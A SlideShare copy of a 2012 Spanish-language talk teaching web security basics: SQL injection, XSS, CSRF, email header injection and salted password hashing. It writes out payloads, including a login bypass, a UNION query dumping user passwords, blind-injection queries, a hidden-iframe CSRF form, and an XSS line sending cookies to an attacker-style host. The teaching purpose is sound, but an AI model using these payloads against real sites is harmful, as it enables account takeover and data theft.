SlideShare una empresa de Scribd logo
1 de 81
Descargar para leer sin conexión
Seguridad WEB

    Principios básicos de seguridad en
  aplicaciones web Una recorrida por los
 problemas mas comunes, SQL Injection,
                 XSS, etc.




Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.
/about



Oscar Javier Gentilezza Arenas (a.k.a Exos)

Informático, curioso, desarrollador y paranoico.

      Mail/jabber: tioscar@gmail.com
          Twitter/Identi.ca: @exos
      Blog: http://blog.exodica.com.ar
   GPG: https://secure.exodica.com.ar/gpg/
Temas
●   Por qué ser seguros
●   Aplicción insegura == aplicación mal hecha
●   Un poco de concepto
●   Inyección de codigo con SQL Injectión
●   XSS
●   XSRF / CSRF
●   Contraseñas, hashes y salts
Ser o no ser
Ser o no ser
Un gran poder conlleva una gran
        responsabilidad
Por qué ser seguros....
Datos personales
                                      Transacciones / dinero



                                       Intimidad

   Integridad de identidad




                      Contraseñas personales
Aplicción insegura
         ==
aplicación Mal hecha
Vulnerabilidad (según wikipedia)
Las vulnerabilidades son puntos débiles del
    software que permiten que un atacante
  comprometa la integridad, disponibilidad o
 confidencialidad del mismo. Algunas de las
 vulnerabilidades más severas permiten que
   los atacantes ejecuten código arbitrario,
denominadas vulnerabilidades de seguridad,
         en un sistema comprometido.
Errores en la web


  Los ataques mas comunes a la web se
     realiza aprobechando errores de
 programación (muchos conceptuales) que
pueden ser evitables corrigiendo la forma en
              que uno trabaja.
Un poco de concepto
La web en sus inicios


La web en sus inicios eran sitios con páginas
   estáticas hiperenlazadas entre si (entre
   paginas y webs), que podían contener
      imágenes, texto y demas material
                 multimedia.
La web ahora

     En la actualidad los sitios webs son
aplicaciones ricas en dinamismo que hacen
    mas complejo el concepto de la web.

El usuario pasó a ser un lector (web 1.0) ha
interactuar con contenidos o realizar ciertas
      acciones desde esta (web 1.5) a
directamente formar parte totalmente activa
        de su contenido (web 2.0 ++)
Que compone la web?
●   Se usan nombres de dominios como
    “direcciones” de los sitios webs
●   Se consultan a servidores de nombres
    (DNS) para saber sus direcciones reales
    (Ips)
●   Se consulta a dicha IP por el sitio en
    cuestión
Que hay en el medio?
●   Browser (cliente o navegador web)
●   TCP/IP (internet)
●   Protocolos HTTP/HTTPS/SPDY ← (?)
●   Lenguajes (o pseudolenguajes) de
    renderizado; html, css, xml, xslt-xsl
●   Contenido multimedia
●   Servidores
Las principales causas
●   El no escapeo de los datos de e/s
●   La no validación de los datos de entrada
●   El no casteo de los datos de e/s
●   El no control de las peticiones
Inyecciones de código

  La inyección de código se trata de enviar
código arbitrario por variables de entrada no
    escapados o validados, normalmente
solemos comunicarnos con ciertos servicios
    en un lenguaje específico, el caso de
 inyección mas conocido en la web en el de
        SQL y se llama SQL Injection.
Inyección inbound
 Podemos ver datos!
Como inyectar código
$name = $_POST['name'];
$password = $_POST['password'];

$sql = “SELECT * FROM Users WHERE
name = '$name' AND password =
'$password'”;

→
SELECT * FROM Users WHERE name = 'jose' AND
password = '7h3R4m0n3$$'
User: admin
           Password: ' or '' = '

SELECT * FROM Users WHERE name =
   'admin' AND password = '' or '' = ''

SI user = 'admin' Y password = '' O '' = ''
Uso de Union

SELECT
    a,b,c,d
FROM
    Tabla_A
UNION SELECT
     a,b,c,d
FROM
     Tabla_B
http://www.sitiodenoticias.com/categoria.php?id=25

SELECT
   id, autor, titulo, texto, thumb
FROM
   Noticias
WHERE
   Categoria = 25
ORDER BY
   fecha
<ul>
   <li class=”noticia”>
      <h1>Justin Bieber dejó la musica<h1>
      <p class=”resumen”>El cantante recibirá
el premi novel por haberlo hecho</p>
      <span>
         Por <em>Rodrigo Saraza</me>
      </span>
   </li>
</ul>
/categoria.php?id=25000000 UNION SELECT Id,
       email, password, null FROM Users
SELECT
    id, autor, titulo, texto, thumb
FROM
    Noticias
WHERE
    Categoria = 25000000
UNION SELECT
    Id, email, password, null
FROM
    Users
ORDER BY
    fecha
<ul>
   <li class=”noticia”>
      <h1>admin<h1>
      <p
class=”resumen”>roberto@myweb.com</p>
      <span>
         Por <em>*45f33ba4437df3a2...</me>
      </span>
   </li>
</ul>
SELECT
    id, autor, titulo, texto, thumb
FROM
    Noticias
WHERE
    Categoria = 25000000
UNION SELECT
    user(), null, null, null
ORDER BY
    fecha
Inyección outbound
  (inyección a ciegas)
/checknick.php?nick=jhon

SELECT
   count(1)
FROM
   Users
WHERE
   nick= 'jhon'

echo $row[0] ? “true” : “false”;
SELECT
    count(1)
FROM
    Users
WHERE
    nick= 'jhon'
AND
    SUBSTR(
       (SELECT Password   FROM Users
WHERE id = 1)
    ,1,1) = 'a'
SELECT
    count(1)
FROM
    Users
WHERE
    nick= 'jhon'
AND
    SUBSTR(
       (SELECT Password   FROM Users
WHERE id = 1)
    ,1,1) = 'a'
Cadena = ''
For x in 1 to 32
  For y in 0 to F
     If res(x,y) == true
         Cadena += y
         Break;
  Raise “Sin true del 0 al f”

Print Cadena

De 32 a 16*32 intentos para obtener un MD5
SELECT
        count(1)
FROM
        Users
WHERE
        nick= 'jhon'
AND
        IF(SUBSTR(
            (SELECT Password FROM Users
WHERE id = 1)
        ,1,1) =
'a',1,md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(
md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(
md5(md5(md5(md5(md5(md5(md5(md5('123456')))))))))
))))))))))))))))))))) AND ''=''
No solo de SQL vive el pueblo
http://servicio.com/api/order=searchbook&id=35
http://servicio.com/api/order=searchbook&id=35&ord
                   er=delete&id=54
<?php

$to = "yourplace@somewhere.com";
$subject = "Hey $user want invite to socialhipters.com.";
$message = "...";
$replyto = $_POST['email'];

$headers = "From: invites@socialhipters.comrn";
$headers .= "Reply-To: $replytorn";

if ( mail($to,$subject,$message,$headers) ) {
   echo "The email has been sent!";
} else {
   echo "The email has failed!";
}

?>
$to = "contact@yoursite.com";
$subject = "Contact mail";
$message = "This is a contact message from...";
$replyto = $_POST['email'];

$headers = "From: invites@socialhipters.comrn";
$headers .= "Reply-To: some@mail.comrn
Bcc: other@mail.comrn
Content-Type: multipart/mixed; boundary="MyBoundary";
 Hidden Text1
 --MyBoundary
 Content-Type: plain/text;

I will kill you!!!

--MyBoundary--
Hidden Text2rn";

if ( mail($to,$subject,$message,$headers) ) {
   echo "The email has been sent!";
} else {
   echo "The email has failed!";
}
XSS
(Cross Site Scripting)
XSS, Definición
    En este caso nosotros tabién vamos a
    inyectar código, pero no para atacar al
 servidor, sino para atacar a los usuarios, se
 puede decir que este ataque corre en cliente
  (el browser), y con esto se puede lograr el
  robo de credenciales o se puede tomar un
  control limitado de la maquina “infectada”,
también se puede usar esta técnica para usar
   a un sitio vulnerable como distribuidor de
                    malware
Inyectando código javascript
Tipos de ataque XSS
●   Reflejado (indirecto)
●   Persistente (directo)
Reflejado



    Se logra inyectar código mediante una
variable de entrada mal escapada o casteada
y se genera así una URL maliciosa que tiene
        que ser entregada a la víctima.
/login.php?err=usuario%20incorrecto



<php if ($_GET['err']): ?>
    <div class=”error”>
        <?= $_GET['err'] ?>
    </div>
<?php endif; ?>
/login.php?err=<script>alert('atrapado')</script>




<php if ($_GET['err']): ?>
    <div class=”error”>
        <?= $_GET['err'] ?>
    </div>
<?php endif; ?>
Persistente



    Se llama persistente cuando queda
almacenado del lado del servidor, por lo que
cualquier usuario que use el sitio es victima
        indirectamente del ataque.
Como funciona
    Supongamos que tenemos comentarios:

If ($_POST) {
    $name = $_POST['name'];
    $email = $_POST['email'];
    $comment = $_POST['comment'];

    saveComment($email, $comment);
    ….

}
<ul class=”comentarios”>
  <li>
     <span><?= $name ?> dijo...</span>
     <p><?= $comment ?></p>
  </li>
  ….
</ul>
<ul class=”comentarios”>
  <li>
     <span>Funalito dijo...</span>
     <p>Que buena noticia, ya era hora
<script>alert('infectado!')</script></p>
  </li>
  ….
</ul>
Peticiones post

<iframe style=”display:none”
name=”badiframe” />
<form action=”/transferirplata.php”
method=”post” id=”f” target=”badiframe”>
<input type=”hidden” name=”to”
value=”25” />
</form>
<script>document.getElementById('f').submit
();</script>
Robo de credenciales
(Hijacking, suplantación de identidad)
Concepto de sesiones

    Para que los usuarios puedan tener su
espacio propio en una web, o hacer acciones
vilculadas a un usario en el sistema, se suele
  usar el concepto de session (sesión), esto
 quiere decir que una vez que se comprueba
      que el usuario es tal atravez de una
autentificación por login, se crea una session
donde se guarda información temporalemte.
Entendiendo las cookies
  Para que los navegadores no tengan que
  enviar todo el tiempo datos de login, para
     identificar una sesión, se suelen usar
  cookies, que es un pequeño espacio en el
 browser (4KB) que el sitio puede usar para
 almacenar datos, la información va del lado
del servidor, por lo que en las cookies solo se
guarda un identificador difícil de repodrucir o
suponer, esta cookie es del tipo de cookie de
    sesión y tiene un tiempo de vida corto.
Robo de credenciales
      Las cookies son accesibles desde
  JavaScript, ya que tambien se puede usar
   para almacenar cosas de este lado, eso
     quiere decir que si yo inyecto código
 JavaScript en una página donde un usuario
la está visitando logueado, voy a poder hacer
    uso de sus cookies, y enviarmelas a mi
  mismo, suplantando su identidad, ya que el
 servidor creerá que las peticiones vienen del
          usuario y no de un extraño.
<ul class=”comentarios”>
   <li>
      <span>Funalito dijo...</span>
      <p>Que buena noticia, ya era hora
<script>document.write('<img src=”
http://misite.com/hack.php?cookies=' +
document.cookie + '” />')</script></p>
   </li>
   ….
</ul>
Ejemplo de url maliciosa
Cookies HttpOnly
Solo por HTTP


Para evitar los robos de credenciales, se creo
   una propiedad en las cookies llamada
HttpOnly que quiere decir que solo se van a
  mandar y recibir por peticiones http y no
      serán visibles desde JavaScript.
Método Trace
 Para poder saltar la limitación de HttpOnly, se hace
    uso del método Trace, hecho para debugear
  peticiones, este metodo a diferencia del GET, no
     solo devuelve el contenido, sino también la
 cabecera de la petición en el cuerpo de la repuesta,
         por lo que se puede hacer mediante
   XMLHttpRequest y luego parsearlo, la forma de
evitar esto es bloquear el metodo Trace del servidor,
igualmente los browser modernos no permiten estas
                 peticiones por ajax.
Robando cookies en Apache
  Esta año se descubrió una vulnerabilidad todabia
  vigente en gran cantidad de servidores, donde se
  pueden obtener las cookies HttpOnly atravez del
 mensaje por defecto del error 400 (Bad Request) de
                      Apache.

  Cuando se envia una cabezera muy larga e servidor
responde con 400 mostrando la cabecera que provocó
el error, si se genera mediante javascript una cookie de
 unos 7KB y se envia una petición, la respuesta tendrá
   consigo la cabecera http, con las cookies HttpOnly
                        también.
Los apaches afectados son desde la versión
             2.2.0 a la 2.2.21
CSRF / XSRF
( Cross Site Request Forgery )
Un Ataque de CSRF, fuerza al navegador
     "logueado" de la victima a mandar un
   "request HTTP", incluyendo el cookie de
      sesión de la victima y cualquier otra
información de validación de la victima a una
  aplicación web vulnerable. Esto permite al
  atacante forzar al navegador de la victima
     para cometer daños o estafas que la
aplicación piensa son iniciados por un usuario
                    legítimo.
Almacenamiento de Contraseñas
       (cuidando al usuario)
Guardando contraseñas de
         forma segura


 Como vimos antes, muchos ataques sirven
para leer arbitrariamente datos de la base de
 datos que no deberíamos, entre esos datos
las contraseñas, y como vimos en el ejemplo
 de SQL Inyection, solo se obtenian Hashes.
Concepto de HASH

   Una función hash es una operación que
 aplica un algoritmo que mapea una cadena
en otra cadena de longitud fija cuyo resultado
 es irreversible, osea no se puede llegar a la
  cadena “sumada” con el resultado de esta
 suma. De esta forma algo que es hasheado
      es irrecuperable matematicamente.
Tipos de hashes (mas usados)
●   MD5
●   MySQL Password
●   SHA-1
●   SHA-256
●   SHA-512 (no se usa tanto)
Ventajas


 Un sistema no necesita saber la contraseña
de un usuario para autentificarlo, a la hora de
      guardar las contraseñas debemos
hashearlas, asi en caso de que alguien tenga
acceso a estas no las tenga en claro, y no las
                 pueda usar.
Problema con hashes

Cada vez la computación avanza mas, y los
métodos de hash utilizados, aunque seguros
 y robustos, se vuelven insuficientes a los
 ataques de fuerza bruta, los hashes estan
 hechos para ser rápidos, lo que hace que
 generar grandes diccionarios o Rainbows
  tables de estos sea cada vez mas fácil.
Ejemplo
             Md5('123456')
                   =
  'e10adc3949ba59abbe56e057f20f883e'

  La robustes del algoritmo, es que no se
puede llega a '123456' desde el hash, pero si
 un atacante consigue esta hash, no le va a
        costar deducir el resultado...
GPU

        Las placas de video con sus
microprocesadores (GPUs) cada vez tienen
   mas poder y aunque son operaciones
   simples de suma y resta, suelen tener
muchos cores, y ser realemente rápidas, por
lo que pueden crear hasta 5 mil millones de
         hashes md5 por segundo.
Poniendole un poco de sal al asunto
Salts

Los salts, son string que se utilizan de apoyo
a la contraseña, a si si un atacante consigue
 una contraseña hasheada, aunque esta sea
debil, no podrá conseguir deducirla sin el salt,
 de esta forma podemos, en vez de hacer un
  md5 de la password, hacer un md5 de un
         string secreo + la password:

            md5(salt + password)
El tamaño.... si importa
El tamaño importa
Cuando más larga y mas combinaciones por
 byte tenga un password o salt, mas tiempo
  tomará su crackeo, volviendo el ataque
                irrealizable.

 Un salt puede ser binario, si tenemos en
  cuenta que cada byte puede tener 256
  posibilidades, con un salt de 30 bytes,
     tendrían 256³⁰ posibilidades, y eso
multiplicado por lo que aporte la contraseña.
bcrypt



 Por úlrimo recomiendo el uso de bcrypt, ya
que es robusto, y ya tiene incorporado lo del
                    salt.
Hasta aca llegamos




   ¿Preguntas?

Más contenido relacionado

Similar a Seguridad WEB - Principios básicos.

Art hack web-v1-4
Art hack web-v1-4Art hack web-v1-4
Art hack web-v1-4
esmartcrimt
 
Reporte de Seguridad
Reporte de SeguridadReporte de Seguridad
Reporte de Seguridad
kiensoiyo
 

Similar a Seguridad WEB - Principios básicos. (20)

Seguridad en PHP (es)
Seguridad en PHP (es)Seguridad en PHP (es)
Seguridad en PHP (es)
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones web
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
 
Art hack web-v1-4
Art hack web-v1-4Art hack web-v1-4
Art hack web-v1-4
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
Seguridad
SeguridadSeguridad
Seguridad
 
Seguridad en php
Seguridad en phpSeguridad en php
Seguridad en php
 
Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5
 
Webinar Gratuito: Inyección de Comandos
Webinar Gratuito: Inyección de ComandosWebinar Gratuito: Inyección de Comandos
Webinar Gratuito: Inyección de Comandos
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones Web
 
Reporte de Seguridad
Reporte de SeguridadReporte de Seguridad
Reporte de Seguridad
 
Esquemas de seguridad para el servidor
Esquemas de seguridad para el servidorEsquemas de seguridad para el servidor
Esquemas de seguridad para el servidor
 
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webVulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones web
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación Web
 
Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1
 
Seguridad en los sistemas web
Seguridad en los sistemas webSeguridad en los sistemas web
Seguridad en los sistemas web
 
Webinar Gratuito: Cross-Site Scripting (XSS)
Webinar Gratuito: Cross-Site Scripting (XSS)Webinar Gratuito: Cross-Site Scripting (XSS)
Webinar Gratuito: Cross-Site Scripting (XSS)
 
Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012
 

Seguridad WEB - Principios básicos.

  • 1. Seguridad WEB Principios básicos de seguridad en aplicaciones web Una recorrida por los problemas mas comunes, SQL Injection, XSS, etc. Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.
  • 2. /about Oscar Javier Gentilezza Arenas (a.k.a Exos) Informático, curioso, desarrollador y paranoico. Mail/jabber: tioscar@gmail.com Twitter/Identi.ca: @exos Blog: http://blog.exodica.com.ar GPG: https://secure.exodica.com.ar/gpg/
  • 3. Temas ● Por qué ser seguros ● Aplicción insegura == aplicación mal hecha ● Un poco de concepto ● Inyección de codigo con SQL Injectión ● XSS ● XSRF / CSRF ● Contraseñas, hashes y salts
  • 4. Ser o no ser
  • 5. Ser o no ser
  • 6. Un gran poder conlleva una gran responsabilidad
  • 7. Por qué ser seguros.... Datos personales Transacciones / dinero Intimidad Integridad de identidad Contraseñas personales
  • 8. Aplicción insegura == aplicación Mal hecha
  • 9. Vulnerabilidad (según wikipedia) Las vulnerabilidades son puntos débiles del software que permiten que un atacante comprometa la integridad, disponibilidad o confidencialidad del mismo. Algunas de las vulnerabilidades más severas permiten que los atacantes ejecuten código arbitrario, denominadas vulnerabilidades de seguridad, en un sistema comprometido.
  • 10. Errores en la web Los ataques mas comunes a la web se realiza aprobechando errores de programación (muchos conceptuales) que pueden ser evitables corrigiendo la forma en que uno trabaja.
  • 11. Un poco de concepto
  • 12. La web en sus inicios La web en sus inicios eran sitios con páginas estáticas hiperenlazadas entre si (entre paginas y webs), que podían contener imágenes, texto y demas material multimedia.
  • 13. La web ahora En la actualidad los sitios webs son aplicaciones ricas en dinamismo que hacen mas complejo el concepto de la web. El usuario pasó a ser un lector (web 1.0) ha interactuar con contenidos o realizar ciertas acciones desde esta (web 1.5) a directamente formar parte totalmente activa de su contenido (web 2.0 ++)
  • 14. Que compone la web? ● Se usan nombres de dominios como “direcciones” de los sitios webs ● Se consultan a servidores de nombres (DNS) para saber sus direcciones reales (Ips) ● Se consulta a dicha IP por el sitio en cuestión
  • 15. Que hay en el medio? ● Browser (cliente o navegador web) ● TCP/IP (internet) ● Protocolos HTTP/HTTPS/SPDY ← (?) ● Lenguajes (o pseudolenguajes) de renderizado; html, css, xml, xslt-xsl ● Contenido multimedia ● Servidores
  • 16. Las principales causas ● El no escapeo de los datos de e/s ● La no validación de los datos de entrada ● El no casteo de los datos de e/s ● El no control de las peticiones
  • 17. Inyecciones de código La inyección de código se trata de enviar código arbitrario por variables de entrada no escapados o validados, normalmente solemos comunicarnos con ciertos servicios en un lenguaje específico, el caso de inyección mas conocido en la web en el de SQL y se llama SQL Injection.
  • 20. $name = $_POST['name']; $password = $_POST['password']; $sql = “SELECT * FROM Users WHERE name = '$name' AND password = '$password'”; → SELECT * FROM Users WHERE name = 'jose' AND password = '7h3R4m0n3$$'
  • 21. User: admin Password: ' or '' = ' SELECT * FROM Users WHERE name = 'admin' AND password = '' or '' = '' SI user = 'admin' Y password = '' O '' = ''
  • 22. Uso de Union SELECT a,b,c,d FROM Tabla_A UNION SELECT a,b,c,d FROM Tabla_B
  • 23. http://www.sitiodenoticias.com/categoria.php?id=25 SELECT id, autor, titulo, texto, thumb FROM Noticias WHERE Categoria = 25 ORDER BY fecha
  • 24. <ul> <li class=”noticia”> <h1>Justin Bieber dejó la musica<h1> <p class=”resumen”>El cantante recibirá el premi novel por haberlo hecho</p> <span> Por <em>Rodrigo Saraza</me> </span> </li> </ul>
  • 25. /categoria.php?id=25000000 UNION SELECT Id, email, password, null FROM Users
  • 26. SELECT id, autor, titulo, texto, thumb FROM Noticias WHERE Categoria = 25000000 UNION SELECT Id, email, password, null FROM Users ORDER BY fecha
  • 27. <ul> <li class=”noticia”> <h1>admin<h1> <p class=”resumen”>roberto@myweb.com</p> <span> Por <em>*45f33ba4437df3a2...</me> </span> </li> </ul>
  • 28. SELECT id, autor, titulo, texto, thumb FROM Noticias WHERE Categoria = 25000000 UNION SELECT user(), null, null, null ORDER BY fecha
  • 29. Inyección outbound (inyección a ciegas)
  • 30. /checknick.php?nick=jhon SELECT count(1) FROM Users WHERE nick= 'jhon' echo $row[0] ? “true” : “false”;
  • 31. SELECT count(1) FROM Users WHERE nick= 'jhon' AND SUBSTR( (SELECT Password FROM Users WHERE id = 1) ,1,1) = 'a'
  • 32. SELECT count(1) FROM Users WHERE nick= 'jhon' AND SUBSTR( (SELECT Password FROM Users WHERE id = 1) ,1,1) = 'a'
  • 33. Cadena = '' For x in 1 to 32 For y in 0 to F If res(x,y) == true Cadena += y Break; Raise “Sin true del 0 al f” Print Cadena De 32 a 16*32 intentos para obtener un MD5
  • 34. SELECT count(1) FROM Users WHERE nick= 'jhon' AND IF(SUBSTR( (SELECT Password FROM Users WHERE id = 1) ,1,1) = 'a',1,md5(md5(md5(md5(md5(md5(md5(md5(md5(md5( md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5( md5(md5(md5(md5(md5(md5(md5(md5('123456'))))))))) ))))))))))))))))))))) AND ''=''
  • 35. No solo de SQL vive el pueblo
  • 38. <?php $to = "yourplace@somewhere.com"; $subject = "Hey $user want invite to socialhipters.com."; $message = "..."; $replyto = $_POST['email']; $headers = "From: invites@socialhipters.comrn"; $headers .= "Reply-To: $replytorn"; if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!"; } else { echo "The email has failed!"; } ?>
  • 39. $to = "contact@yoursite.com"; $subject = "Contact mail"; $message = "This is a contact message from..."; $replyto = $_POST['email']; $headers = "From: invites@socialhipters.comrn"; $headers .= "Reply-To: some@mail.comrn Bcc: other@mail.comrn Content-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; I will kill you!!! --MyBoundary-- Hidden Text2rn"; if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!"; } else { echo "The email has failed!"; }
  • 41. XSS, Definición En este caso nosotros tabién vamos a inyectar código, pero no para atacar al servidor, sino para atacar a los usuarios, se puede decir que este ataque corre en cliente (el browser), y con esto se puede lograr el robo de credenciales o se puede tomar un control limitado de la maquina “infectada”, también se puede usar esta técnica para usar a un sitio vulnerable como distribuidor de malware
  • 43. Tipos de ataque XSS ● Reflejado (indirecto) ● Persistente (directo)
  • 44. Reflejado Se logra inyectar código mediante una variable de entrada mal escapada o casteada y se genera así una URL maliciosa que tiene que ser entregada a la víctima.
  • 45. /login.php?err=usuario%20incorrecto <php if ($_GET['err']): ?> <div class=”error”> <?= $_GET['err'] ?> </div> <?php endif; ?>
  • 46. /login.php?err=<script>alert('atrapado')</script> <php if ($_GET['err']): ?> <div class=”error”> <?= $_GET['err'] ?> </div> <?php endif; ?>
  • 47. Persistente Se llama persistente cuando queda almacenado del lado del servidor, por lo que cualquier usuario que use el sitio es victima indirectamente del ataque.
  • 48. Como funciona Supongamos que tenemos comentarios: If ($_POST) { $name = $_POST['name']; $email = $_POST['email']; $comment = $_POST['comment']; saveComment($email, $comment); …. }
  • 49. <ul class=”comentarios”> <li> <span><?= $name ?> dijo...</span> <p><?= $comment ?></p> </li> …. </ul>
  • 50. <ul class=”comentarios”> <li> <span>Funalito dijo...</span> <p>Que buena noticia, ya era hora <script>alert('infectado!')</script></p> </li> …. </ul>
  • 51. Peticiones post <iframe style=”display:none” name=”badiframe” /> <form action=”/transferirplata.php” method=”post” id=”f” target=”badiframe”> <input type=”hidden” name=”to” value=”25” /> </form> <script>document.getElementById('f').submit ();</script>
  • 52. Robo de credenciales (Hijacking, suplantación de identidad)
  • 53. Concepto de sesiones Para que los usuarios puedan tener su espacio propio en una web, o hacer acciones vilculadas a un usario en el sistema, se suele usar el concepto de session (sesión), esto quiere decir que una vez que se comprueba que el usuario es tal atravez de una autentificación por login, se crea una session donde se guarda información temporalemte.
  • 54. Entendiendo las cookies Para que los navegadores no tengan que enviar todo el tiempo datos de login, para identificar una sesión, se suelen usar cookies, que es un pequeño espacio en el browser (4KB) que el sitio puede usar para almacenar datos, la información va del lado del servidor, por lo que en las cookies solo se guarda un identificador difícil de repodrucir o suponer, esta cookie es del tipo de cookie de sesión y tiene un tiempo de vida corto.
  • 55. Robo de credenciales Las cookies son accesibles desde JavaScript, ya que tambien se puede usar para almacenar cosas de este lado, eso quiere decir que si yo inyecto código JavaScript en una página donde un usuario la está visitando logueado, voy a poder hacer uso de sus cookies, y enviarmelas a mi mismo, suplantando su identidad, ya que el servidor creerá que las peticiones vienen del usuario y no de un extraño.
  • 56. <ul class=”comentarios”> <li> <span>Funalito dijo...</span> <p>Que buena noticia, ya era hora <script>document.write('<img src=” http://misite.com/hack.php?cookies=' + document.cookie + '” />')</script></p> </li> …. </ul>
  • 57. Ejemplo de url maliciosa
  • 58.
  • 60. Solo por HTTP Para evitar los robos de credenciales, se creo una propiedad en las cookies llamada HttpOnly que quiere decir que solo se van a mandar y recibir por peticiones http y no serán visibles desde JavaScript.
  • 61. Método Trace Para poder saltar la limitación de HttpOnly, se hace uso del método Trace, hecho para debugear peticiones, este metodo a diferencia del GET, no solo devuelve el contenido, sino también la cabecera de la petición en el cuerpo de la repuesta, por lo que se puede hacer mediante XMLHttpRequest y luego parsearlo, la forma de evitar esto es bloquear el metodo Trace del servidor, igualmente los browser modernos no permiten estas peticiones por ajax.
  • 62. Robando cookies en Apache Esta año se descubrió una vulnerabilidad todabia vigente en gran cantidad de servidores, donde se pueden obtener las cookies HttpOnly atravez del mensaje por defecto del error 400 (Bad Request) de Apache. Cuando se envia una cabezera muy larga e servidor responde con 400 mostrando la cabecera que provocó el error, si se genera mediante javascript una cookie de unos 7KB y se envia una petición, la respuesta tendrá consigo la cabecera http, con las cookies HttpOnly también.
  • 63. Los apaches afectados son desde la versión 2.2.0 a la 2.2.21
  • 64.
  • 65. CSRF / XSRF ( Cross Site Request Forgery )
  • 66. Un Ataque de CSRF, fuerza al navegador "logueado" de la victima a mandar un "request HTTP", incluyendo el cookie de sesión de la victima y cualquier otra información de validación de la victima a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la victima para cometer daños o estafas que la aplicación piensa son iniciados por un usuario legítimo.
  • 67. Almacenamiento de Contraseñas (cuidando al usuario)
  • 68. Guardando contraseñas de forma segura Como vimos antes, muchos ataques sirven para leer arbitrariamente datos de la base de datos que no deberíamos, entre esos datos las contraseñas, y como vimos en el ejemplo de SQL Inyection, solo se obtenian Hashes.
  • 69. Concepto de HASH Una función hash es una operación que aplica un algoritmo que mapea una cadena en otra cadena de longitud fija cuyo resultado es irreversible, osea no se puede llegar a la cadena “sumada” con el resultado de esta suma. De esta forma algo que es hasheado es irrecuperable matematicamente.
  • 70. Tipos de hashes (mas usados) ● MD5 ● MySQL Password ● SHA-1 ● SHA-256 ● SHA-512 (no se usa tanto)
  • 71. Ventajas Un sistema no necesita saber la contraseña de un usuario para autentificarlo, a la hora de guardar las contraseñas debemos hashearlas, asi en caso de que alguien tenga acceso a estas no las tenga en claro, y no las pueda usar.
  • 72. Problema con hashes Cada vez la computación avanza mas, y los métodos de hash utilizados, aunque seguros y robustos, se vuelven insuficientes a los ataques de fuerza bruta, los hashes estan hechos para ser rápidos, lo que hace que generar grandes diccionarios o Rainbows tables de estos sea cada vez mas fácil.
  • 73. Ejemplo Md5('123456') = 'e10adc3949ba59abbe56e057f20f883e' La robustes del algoritmo, es que no se puede llega a '123456' desde el hash, pero si un atacante consigue esta hash, no le va a costar deducir el resultado...
  • 74.
  • 75. GPU Las placas de video con sus microprocesadores (GPUs) cada vez tienen mas poder y aunque son operaciones simples de suma y resta, suelen tener muchos cores, y ser realemente rápidas, por lo que pueden crear hasta 5 mil millones de hashes md5 por segundo.
  • 76. Poniendole un poco de sal al asunto
  • 77. Salts Los salts, son string que se utilizan de apoyo a la contraseña, a si si un atacante consigue una contraseña hasheada, aunque esta sea debil, no podrá conseguir deducirla sin el salt, de esta forma podemos, en vez de hacer un md5 de la password, hacer un md5 de un string secreo + la password: md5(salt + password)
  • 78. El tamaño.... si importa
  • 79. El tamaño importa Cuando más larga y mas combinaciones por byte tenga un password o salt, mas tiempo tomará su crackeo, volviendo el ataque irrealizable. Un salt puede ser binario, si tenemos en cuenta que cada byte puede tener 256 posibilidades, con un salt de 30 bytes, tendrían 256³⁰ posibilidades, y eso multiplicado por lo que aporte la contraseña.
  • 80. bcrypt Por úlrimo recomiendo el uso de bcrypt, ya que es robusto, y ya tiene incorporado lo del salt.
  • 81. Hasta aca llegamos ¿Preguntas?